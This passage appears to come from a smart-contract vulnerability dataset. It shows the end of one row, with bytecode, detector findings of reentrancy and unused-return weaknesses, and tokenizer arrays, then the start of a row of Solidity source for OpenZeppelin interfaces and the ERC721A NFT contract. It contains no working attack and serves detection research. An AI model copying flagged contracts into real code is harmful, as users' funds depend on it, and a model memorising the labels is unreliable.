228152602001806122f56022913960400191505060405180910390fd5b826000018281548110611a5857fe5b9060005260206000200154905092915050565b6000610c66836001600160a01b038416611e57565b815460009081908310611ac45760405162461bcd60e51b815260040180806020018281038252602281526020018061254e6022913960400191505060405180910390fd5b6000846000018481548110611ad557fe5b906000526020600020906002020190508060000154816001015492509250509250929050565b60008281526001840160205260408120548281611b965760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611b5b578181015183820152602001611b43565b50505050905090810190601f168015611b885780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50846000016001820381548110611ba957fe5b9060005260206000209060020201600101549150509392505050565b611bcf8383611fb4565b611bdc6000848484611c17565b6109cd5760405162461bcd60e51b81526004018080602001828103825260328152602001806123716032913960400191505060405180910390fd5b6000611c2b846001600160a01b03166120ee565b611c3757506001611607565b60006060856001600160a01b031663150b7a0260e01b3389888860405160240180856001600160a01b03166001600160a01b03168152602001846001600160a01b03166001600160a01b0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611cc7578181015183820152602001611caf565b50505050905090810190601f168015611cf45780820380516001836020036101000a031916815260200191505b5060408051601f198184030181529181526020820180516001600160e01b03166001600160e01b0319909a16999099178952518151919890975087965094509250829150849050835b60208310611d5c5780518252601f199092019160209182019101611d3d565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611dbe576040519150601f19603f3d011682016040523d82523d6000602084013e611dc3565b606091505b509150915081611e1457805115611ddd5780518082602001fd5b60405162461bcd60e51b81526004018080602001828103825260328152602001806123716032913960400191505060405180910390fd5b6000818060200190516020811015611e2b57600080fd5b50516001600160e01b031916630a85bd0160e11b14935061160792505050565b6000610c668383612127565b60008181526001830160205260408120548015611f135783546000198083019190810190600090879083908110611e8a57fe5b9060005260206000200154905080876000018481548110611ea757fe5b600091825260208083209091019290925582815260018981019092526040902090840190558654879080611ed757fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610c69565b6000915050610c69565b600082815260018401602052604081205480611f8257505060408051808201825283815260208082018481528654600181810189556000898152848120955160029093029095019182559151908201558654868452818801909252929091205561102d565b82856000016001830381548110611f9557fe5b906000526020600020906002020160010181905550600091505061102d565b6001600160a01b03821661200f576040805162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604482015290519081900360640190fd5b612018816114b5565b1561206a576040805162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604482015290519081900360640190fd5b612076600083836109cd565b6001600160a01b038216600090815260016020526040902061209e908263ffffffff6119e516565b506120b16002828463ffffffff6119f116565b5060405181906001600160a01b038416906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470818114801590611607575050151592915050565b60008181526001830160205260408120548015611f13578354600019808301919081019060009087908390811061215a57fe5b906000526020600020906002020190508087600001848154811061217a57fe5b6000918252602080832084546002909302019182556001938401549184019190915583548252898301905260409020908401905586548790806121b957fe5b6000828152602080822060026000199094019384020182815560019081018390559290935588815289820190925260408220919091559450610c699350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061223c57805160ff1916838001178555612269565b82800160010185558215612269579182015b8281111561226957825182559160200191906001019061224e565b506122759291506122da565b5090565b50805460018160011615610100020316600290046000825580601f1061229f57506122bd565b601f0160209004906000526020600020908101906122bd91906122da565b50565b50805460008255906000526020600020908101906122bd91905b610a0a91905b8082111561227557600081556001016122e056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e6473416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f206772616e7456657269666965644578697374656e63653a2070726f6f6620686173682063616e2774206265207a65726f4552433732313a207472616e7366657220746f206e6f6e20455243373231526563656976657220696d706c656d656e74657256657269666965644578697374656e63653a20796f7520617265206e6f74207065726d697474656420746f2061646420612070726f6f6656657269666965644578697374656e63653a20746869732070726f6f66206861736820616c7265616479206578697374734552433732313a207472616e7366657220746f20746865207a65726f20616464726573734552433732313a206f70657261746f7220717565727920666f72206e6f6e6578697374656e7420746f6b656e416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f207265766f6b654552433732313a20617070726f76652063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f76656420666f7220616c6c56657269666965644578697374656e63653a20796f75206861766520616c726561647920636f6e6669726d656420746869732070726f6f664552433732313a2062616c616e636520717565727920666f7220746865207a65726f20616464726573734552433732313a206f776e657220717565727920666f72206e6f6e6578697374656e7420746f6b656e456e756d657261626c654d61703a20696e646578206f7574206f6620626f756e64734552433732313a20617070726f76656420717565727920666f72206e6f6e6578697374656e7420746f6b656e56657269666965644578697374656e63653a20796f7520617265206e6f74207065726d697474656420746f20636f6e6669726d20612070726f6f664552433732313a207472616e73666572206f6620746f6b656e2074686174206973206e6f74206f776e56657269666965644578697374656e63653a206275726e2063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f7665644552433732313a20617070726f76616c20746f2063757272656e74206f776e65724552433732313a207472616e736665722063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f76656456657269666965644578697374656e63653a2070726f6f66206279207468697320696420646f6573206e6f74206578697374416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636520726f6c657320666f722073656c66a2646970667358221220f92617c981fd2640ebf570676c05f0a30f0a5a7cfcd515ede5824c9c7f635d0364736f6c63430006060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
24087,
2620,
2094,
2629,
2094,
17788,
2620,
20842,
2575,
2546,
2620,
16932,
2063,
2581,
2050,
23632,
21057,
23833,
2475,
2050,
2683,
17788,
2629,
2546,
2629,
6305,
16409,
2094,
2683,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1016,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
3074,
1997,
4972,
3141,
2000,
1996,
4769,
2828,
1008,
1013,
3075,
4769,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
2995,
2065,
1036,
4070,
1036,
2003,
1037,
3206,
1012,
1008,
1008,
1031,
2590,
1033,
1008,
1027,
1027,
1027,
1027,
1008,
2009,
2003,
25135,
2000,
7868,
2008,
2019,
4769,
2005,
2029,
2023,
3853,
5651,
1008,
6270,
2003,
2019,
27223,
1011,
3079,
4070,
1006,
1041,
10441,
1007,
1998,
2025,
1037,
3206,
1012,
1008,
1008,
2426,
2500,
1010,
1036,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,564 | 0x9558fae06f6d49faac337e9443e69f41967c25bc | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [////IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* ////IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
////import '@openzeppelin/contracts/token/ERC721/IERC721.sol';
////import '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol';
////import '@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol';
////import '@openzeppelin/contracts/utils/Address.sol';
////import '@openzeppelin/contracts/utils/Context.sol';
////import '@openzeppelin/contracts/utils/Strings.sol';
////import '@openzeppelin/contracts/utils/introspection/ERC165.sol';
error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error BalanceQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerQueryForNonexistentToken();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error URIQueryForNonexistentToken();
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..).
*
* Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
*
* Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).
*/
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Compiler will pack this into a single 256bit word.
struct TokenOwnership {
// The address of the owner.
address addr;
// Keeps track of the start time of ownership with minimal overhead for tokenomics.
uint64 startTimestamp;
// Whether the token has been burned.
bool burned;
}
// Compiler will pack this into a single 256bit word.
struct AddressData {
// Realistically, 2**64-1 is more than enough.
uint64 balance;
// Keeps track of mint count with minimal overhead for tokenomics.
uint64 numberMinted;
// Keeps track of burn count with minimal overhead for tokenomics.
uint64 numberBurned;
// For miscellaneous variable(s) pertaining to the address
// (e.g. number of whitelist mint slots used).
// If there are multiple variables, please pack them into a uint64.
uint64 aux;
}
// The tokenId of the next token to be minted.
uint256 internal _currentIndex;
// The number of tokens burned.
uint256 internal _burnCounter;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_currentIndex = _startTokenId();
}
/**
* To change the starting tokenId, please override this function.
*/
function _startTokenId() internal view virtual returns (uint256) {
return 0;
}
/**
* @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens.
*/
function totalSupply() public view returns (uint256) {
// Counter underflow is impossible as _burnCounter cannot be incremented
// more than _currentIndex - _startTokenId() times
unchecked {
return _currentIndex - _burnCounter - _startTokenId();
}
}
/**
* Returns the total amount of tokens minted in the contract.
*/
function _totalMinted() internal view returns (uint256) {
// Counter underflow is impossible as _currentIndex does not decrement,
// and it is initialized to _startTokenId()
unchecked {
return _currentIndex - _startTokenId();
}
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
if (owner == address(0)) revert BalanceQueryForZeroAddress();
return uint256(_addressData[owner].balance);
}
/**
* Returns the number of tokens minted by `owner`.
*/
function _numberMinted(address owner) internal view returns (uint256) {
return uint256(_addressData[owner].numberMinted);
}
/**
* Returns the number of tokens burned by or on behalf of `owner`.
*/
function _numberBurned(address owner) internal view returns (uint256) {
return uint256(_addressData[owner].numberBurned);
}
/**
* Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
*/
function _getAux(address owner) internal view returns (uint64) {
return _addressData[owner].aux;
}
/**
* Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
* If there are multiple variables, please pack them into a uint64.
*/
function _setAux(address owner, uint64 aux) internal {
_addressData[owner].aux = aux;
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
uint256 curr = tokenId;
unchecked {
if (_startTokenId() <= curr && curr < _currentIndex) {
TokenOwnership memory ownership = _ownerships[curr];
if (!ownership.burned) {
if (ownership.addr != address(0)) {
return ownership;
}
// Invariant:
// There will always be an ownership that has an address and is not burned
// before an ownership that does not have an address and is not burned.
// Hence, curr will not underflow.
while (true) {
curr--;
ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
}
}
revert OwnerQueryForNonexistentToken();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return _ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
if (!_exists(tokenId)) revert URIQueryForNonexistentToken();
string memory baseURI = _baseURI();
return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return '';
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
if (to == owner) revert ApprovalToCurrentOwner();
if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) {
revert ApprovalCallerNotOwnerNorApproved();
}
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
if (operator == _msgSender()) revert ApproveToCaller();
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
_transfer(from, to, tokenId);
if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _startTokenId() <= tokenId && tokenId < _currentIndex &&
!_ownerships[tokenId].burned;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (quantity == 0) revert MintZeroQuantity();
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
// Overflows are incredibly unrealistic.
// balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1
// updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1
unchecked {
_addressData[to].balance += uint64(quantity);
_addressData[to].numberMinted += uint64(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
uint256 end = updatedIndex + quantity;
if (safe && to.isContract()) {
do {
emit Transfer(address(0), to, updatedIndex);
if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
} while (updatedIndex != end);
// Reentrancy protection
if (_currentIndex != startTokenId) revert();
} else {
do {
emit Transfer(address(0), to, updatedIndex++);
} while (updatedIndex != end);
}
_currentIndex = updatedIndex;
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
